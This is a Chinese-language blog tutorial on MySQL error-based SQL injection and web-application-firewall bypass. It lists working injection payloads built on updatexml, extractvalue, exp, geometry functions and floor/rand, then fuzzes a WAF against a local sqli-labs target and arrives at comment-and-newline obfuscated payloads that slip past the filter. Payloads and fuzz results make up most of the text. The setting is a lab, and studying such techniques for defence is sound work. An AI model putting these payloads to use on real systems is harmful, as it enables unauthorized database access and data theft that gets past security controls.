• bypasswaf 之报错注入


    0x00 前言

    前面讲到了bypass 联合查询和盲注,那么这章节就来个报错注入。

    0x01 报错注入与函数

    此方法是在页面没有显示位,但是echo mysql_error();函数输出了错误信息的时候方能使用。优点是注入速度快,缺点是语句较为复杂,而且只能用limit依次进行猜解。总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用。

    在联合查询查询能爆出数据是因为在页面有显示位,而盲注只能靠页面返回正常或者错误,这样的方式比较慢,那么这时候如果有报错,可以直接通过mysql的报错语句让他爆出数据。

    1.updatexml()

    updatexml() 是更新xml文档的函数
    语法:update(目标xml文档,xml路径,更新内容) 第二个参数xml路径是可以操作的地方,xml文档中查找字符串位置是用/xx/xx...这种格式,如果写入其他格式就会报错。

    select * from users where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

    2.extractvalue()

    select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

     语法:extractvalue(目标xml文档,xml路径)

    第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

    3.exp()

    select * from users where id=1 and exp(~(select * from(select user())a));
    exp()以e为底的指数函数,但是如果传递的数太大了,当大于709时,
    
    exp()就会因为重复而报错。 将0按位取反就会得到“ 18446744073709551615”,
    
    再加上函数成功执行后返回0,我们将成功执行的函数取反就会得到最大的无符号的bigint值。
    
     通过子查询与按位求反,造成一个双倍的溢出错误,可能就可以注出数据。 
    

    4.geometrycollection()

    select * from users where id=1 and geometrycollection((select * from(select * from(select user())a)b));

    5.multipoint()

    select * from users where id=1 and multipoint((select * from(select * from(select user())a)b));

    6.polygon()

    select * from users where id=1 and polygon((select * from(select * from(select user())a)b));

    7.multipolygon()

    select * from users where id=1 and multipolygon((select * from(select * from(select user())a)b));

    8.linestring()

    select * from users where id=1 and linestring((select * from(select * from(select user())a)b));

    9.multilinestring()

    select * from users where id=1 and multilinestring((select * from(select * from(select user())a)b));

    10.floor

    select * from users where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
    floor(x) 函数,向下取整,返回一个不大于x的值
    round(x,d) 函数,根据四舍五入保留指定的小数位数,x指要处理的数,d是指保留几位小数。
    rand() 函数,产生一个0-1之间的随机浮点数,若有参数x,则返回一个x对应的固定的值

     0x02 bypass盲注

    http://192.168.31.17/sqli-labs/Less-1/?id=1 ' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+

    那么我们先来fuzz一下拦截的参数

    and 不拦截 
    and updatexml        不拦截
    and updatexml()      不拦截
    and updatexml(1,1,1) 拦截
    and updatexml(1,,1)  不拦截
    and updatexml(1,1,1 不拦截

    那么现在却确定他拦截的是 完整的 and updatexml (1,2,3)  那么我们可以从他的括号做手脚

     and updatexml(1,1,1/*!)*/   不拦截

     成功绕过,那么我们现在来查询user(),查询用户名。

    ' and updatexml(1,(select user()),1/*!)*/--+

    输入select拦截了还得继续fuzz

    and updatexml(1,(),1/*!)*/               不拦截
    and updatexml(
    1,(select ),1/*!)*/ 不拦截 and updatexml(1,(select user ),1/*!)*/ 不拦截 and updatexml(1,(select user() ),1/*!)*/ 拦截

    那么他拦截的肯定是user和括号拼接起来的函数

     继续fuzz

    and updatexml(1,(select user/**/() ),1/*!)*/   拦截
    and updatexml(1,(select user+() ),1/*!)*/      拦截
    and updatexml(1,(select user--+%0a() ),1/*!)*/  拦截
    and updatexml(1,(select user--+/*hex(0)*/%0a() ),1/*!)*/  拦截
    and updatexml(1,(select user--+/*!hex(0)*/%0a() ),1/*!)*/  不拦截 
    试试另一种方法
    and updatexml(1,(select user(/**/) ),1/*!)*/ 拦截
    and updatexml(1,(select user(/*!/**/*/) ),1/*!)*/ 绕过

     这里因为没有加concat 等字符拼接函数,所以显示会有问题,这里来添加试试

    http://192.168.31.17/sqli-labs/Less-1/?id=1 ' and updatexml(1,concat(0x7e,(select user--+hex(0)%0a()),0x7e),1/*!)*/--+

     这里被拦截 那么肯定就是concat这个函数。

    继续fuzz

    and updatexml(1,concat,1/*!)*/  不拦截
    and updatexml(1,concat(),1/*!)*/  不拦截
    and updatexml(1,concat(0x7e),1/*!)*/  不拦截且回显~号
    and updatexml(1,concat(1,),1/*!)*/   不拦截
    and updatexml(1,concat(1,,),1/*!)*/  拦截
    and updatexml(1,concat(0x7e/*!,*/ (select 1)/*!,*/0x7e),1/*!)*/  不拦截  回显1

    这里concat()和concat(0x7e,)不拦截 加多个都好就拦截了 ,那么他肯定过滤了,这里用/*!*/来绕过

     现在我们已经回显出1来了 就可以来用user()函数来查询一下

    http://192.168.31.17/sqli-labs/Less-1/?id=1 ' and updatexml(1,concat(0x7e/*!,*/ (select user--+hex(0)%0a())/*!,*/0x7e),1/*!)*/--+

     查询成功  成功绕过waf后面的一些暴库,爆表也是一样的方法思路。

    0x03   结尾

    啥也不说插个表情包

  • 相关阅读:
    最小二乘法(转载)
    负反馈放大器电路(转载)
    串联谐振与并联谐振的区别_串联谐振与并联谐振产生谐振的条件(转载)
    运算放大器:虚短与虚断(转载)
    人物根据镜头方向旋转和移动
    浅析勒贝格积分的思想在数论函数求和中的应用
    一类巧妙利用利用分治的序列求值
    YAOI Round #1 (Div.2) 题解
    NOIP 2020 游记
    P4550 收集邮票 与 灵异的期望
  • 原文地址:https://www.cnblogs.com/nice0e3/p/12681697.html
Copyright © 2020-2023  润新知